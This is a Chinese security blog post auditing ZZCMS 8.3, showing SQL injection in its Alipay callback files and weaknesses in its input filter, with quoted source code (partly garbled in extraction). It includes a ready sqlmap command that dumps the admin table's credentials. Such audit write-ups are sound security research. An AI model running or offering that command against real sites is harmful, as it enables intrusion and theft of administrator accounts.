ZZCMS8.3最新版SQL注入漏洞

  • A+
所属分类:网络安全文章
腾讯云网站解决方案帮您轻松应对建站成本高/网络不稳定/安全漏洞多/单点部署无冗余等常见问题,满足电商/直播/教育等日均PV1-100万的网站部署需求。


成都、重庆区云产品3折特惠,全新机型计算提速,最高睿频可达3.7GHz

寻找敏感信息泄漏/重装漏洞

重装漏洞不存在,与install/install.lock 文件关联,安装的时候,还得先把这个文件删除,因为默认存在

1.默认后台管理登录地址:./admin/login.php

2.安装完成后没有删除./install/data.sql文件导致数据库结构信息泄漏

寻找SQL注入和XSS

在./3/alipay/notify_url.php和./3/alipay/return_url.php,这两个回调验证支付文件中,有写数据库的操作,同时对于写入数据库的参数没有过滤,有XSS和SQL注入的风险

两者差不多,因此选择./3/alipay/return_url.php 为例子吧

  1. <?php//计算得出通知验证结果//第24行左右开始$alipayNotify = new AlipayNotify($alipay_config);$verify_result = $alipayNotify->verifyReturn();if($verify_result) {//验证成功
  2.     ···//此处代码省略}?>

看到上面的代码,有一个AlipayNotify()的对象实例化,这个初始化只要配置数据有就能成功初始化,然后我们进入verifyRetuen()函数看看。

  1. // 在./3/alipay/lib/alipay_notify.class.php 第77行左右
  2.     function verifyReturn(){
  3.         if(emptyempty($_GET)) {//判断POST来的数组是否为空
  4.             return false;
  5.         }
  6.         else {
  7.             //生成签名结果
  8.             $isSign = $this->getSignVeryfy($_GET$_GET["sign"]);
  9.             //获取支付宝远程服务器ATN结果(验证是否是支付宝发来的消息)
  10.             $responseTxt = 'true';
  11.             if (! emptyempty($_GET["notify_id"])) {$responseTxt = $this->getResponse($_GET["notify_id"]);}
  12.             //写日志记录
  13.             //if ($isSign) {
  14.             //    $isSignStr = 'true';
  15.             //}
  16.             //else {
  17.             //    $isSignStr = 'false';
  18.             //}
  19.             //$log_text = "responseTxt=".$responseTxt."\n return_url_log:isSign=".$isSignStr.",";
  20.             //$log_text = $log_text.createLinkString($_GET);
  21.             //logResult($log_text);
  22.             //验证
  23.             //$responsetTxt的结果不是true,与服务器设置问题、合作身份者ID、notify_id一分钟失效有关
  24.             //isSign的结果不是true,与安全校验码、请求时的参数格式(如:带自定义参数等)、编码格式有关
  25.             if (preg_match("/true$/i",$responseTxt) && $isSign) {
  26.                 return true;
  27.             } else {
  28.                 return true;
  29.             }

所以只需要传入需要的GET参数就会返回true
ZZCMS8.3最新版SQL注入漏洞

没有找到转义的函数,应该是 magic_quotes_gpc 配置的原因吧

同时可以在\3\alipay\lib\alipay_core.function.php看到这样的函数

  1. function createLinkstring($para) {
  2.     $arg  = "";
  3.     while (list ($key$val) = each ($para)) {
  4.         $arg.=$key."=".$val."&";
  5.     }
  6.     //去掉最后一个&字符
  7.     $arg = substr($arg,0,count($arg)-2);
  8.     //如果存在转义字符,那么去掉转义
  9.     if(get_magic_quotes_gpc()){$arg = stripslashes($arg);}
  10.     return $arg;}/**
  11.  * 把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串,并对字符串做urlencode编码
  12.  * @param $para 需要拼接的数组
  13.  * return 拼接完成以后的字符串
  14.  */function createLinkstringUrlencode($para) {
  15.     $arg  = "";
  16.     while (list ($key$val) = each ($para)) {
  17.         $arg.=$key."=".urlencode($val)."&";
  18.     }
  19.     //去掉最后一个&字符
  20.     $arg = substr($arg,0,count($arg)-2);
  21.     //如果存在转义字符,那么去掉转义
  22.     if(get_magic_quotes_gpc()){$arg = stripslashes($arg);}
  23.     return $arg;}

所以将 php.ini 中的 magic_quotes_gpc 设置为 On 就可以去掉转义符号了,再次测试结果如下:

ZZCMS8.3最新版SQL注入漏洞

默认是不会显示错误的,这里就没有回显,可以写文件,当然得有写的权限才行,也可以盲注

懒得写脚本,SQLmap输入如下命令就可以直接得到管理员账号密码:

  1. python sqlmap/sqlmap.py -u "http://www.cesafe.com/3/alipay/return_url.php?out_trade_no=test&trade_no=test&trade_status=test&total_fee=123" -p trade_no --batch -D safe -T zzcms_admin --dump

NotifyUrl和ReturnUrl类似的文件都存在这样的SQL注入问题,这个SQL注入的利用唯一条件就是magic_qutes_gpc值为On

过滤函数

已经验证了SQL注入的存在,那么检验一下是否能够绕过呐?

定位到\inc\stopsqlin.php 这个全局参数过滤文件,为了便于理解,有必要贴出该文件源码如下:

  1. <?php//主要针对在任何文件后加?%3Cscript%3E,即使文件中没有参数   //这里用于过滤script标签,但是我们可以使用别的XSS Payloadif (strpos($_SERVER['REQUEST_URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%')!==false|| strpos($_SERVER['REQUEST_URI'],'%2F%3Cobject')!==false){die ("无效参数");//注意这里不能用js提示}function zc_check($string){
  2.     if(!is_array($string)){                //这里是问题关键所在,如果传入的参数不是数组,那么进入if判断内
  3.         if(get_magic_quotes_gpc()){                        //此处开启GPC后就不转义
  4.          return htmlspecialchars(trim($string));            //对于SQL注入来说,没用~
  5.         }else{
  6.         return addslashes(htmlspecialchars(trim($string)));//否则addslashes转义一下
  7.         }
  8.      }
  9.     foreach($string as $k => $v$string[$k] = zc_check($v);
  10.     return $string;}if($_REQUEST){
  11.     $_POST =zc_check($_POST);
  12.     $_GET =zc_check($_GET);
  13.     $_COOKIE =zc_check($_COOKIE);
  14.     @extract($_POST);
  15.     @extract($_GET);}//特别的表单,需要特别提示的function nostr($str){//strip_tags($str);
  16.     $sql_injdata = "',/,\,<,>,�";
  17.     $sql_inj = explode(",",$sql_injdata);
  18.     for ($i=0; $icount($sql_inj);$i++){
  19.         if (@strpos($str,$sql_inj[$i])!==false){
  20.         showmsg ("含有非法字符 [".$sql_inj[$i]."] 返回重填");
  21.         }
  22.     }
  23.     return $str;//没有的返回值}//过滤指定字符,function stopsqlin($str){if(!is_array($str)) {//有数组数据会传过来比如代理留言中的省份$_POST['province'][$i]
  24.     $str=strtolower($str);//否则过过滤不全
  25.     $sql_injdata = "";
  26.     $sql_injdata$sql_injdata."|".stopwords;
  27.     $sql_injdata=CutFenGeXian($sql_injdata,"|");
  28.     $sql_inj = explode("|",$sql_injdata);
  29.     for ($i=0; $icount($sql_inj);$i++){
  30.         if (@strpos($str,$sql_inj[$i])!==false) {showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");}
  31.     }}}$r_url=strtolower($_SERVER["REQUEST_URI"]);if (checksqlin=="Yes") {if (strpos($r_url,"siteconfig.php")==0 && strpos($r_url,"label")==0 && strpos($r_url,"template.php")==0) {foreach ($_GET as $get_key=>$get_var){ stopsqlin($get_var);} /* 过滤所有GET过来的变量 */      foreach ($_POST as $post_key=>$post_var){ stopsqlin($post_var);    }/* 过滤所有POST过来的变量 *///foreach ($_COOKIE as $cookie_key=>$cookie_var){ stopsqlin($cookie_var);    }/* 过滤所有COOKIE过来的变量 *///foreach ($_REQUEST as $request_key=>$request_var){ stopsqlin($request_var);    }/* 过滤所有request过来的变量 */}}?>

对应上面源码的第六行的 zc_check() 函数,已经写了注释,虽然做了htmlspecialchars()(转义XSS字符) 和 trim() (去掉参数两边空格)

在使用htmlspecialchars()函数的时候注意第二个参数, 直接用htmlspecialchars($string) 的话,第二个参数默认是ENT_COMPAT,函数默认只是转化双引号(“), 不对单引号(‘)做转义。

总结

审计代码,要配合好环境,不同的环境就有不同的结果!
ZZCMS8.3最新版SQL注入漏洞

CE安全网

发表评论

您必须登录才能发表评论!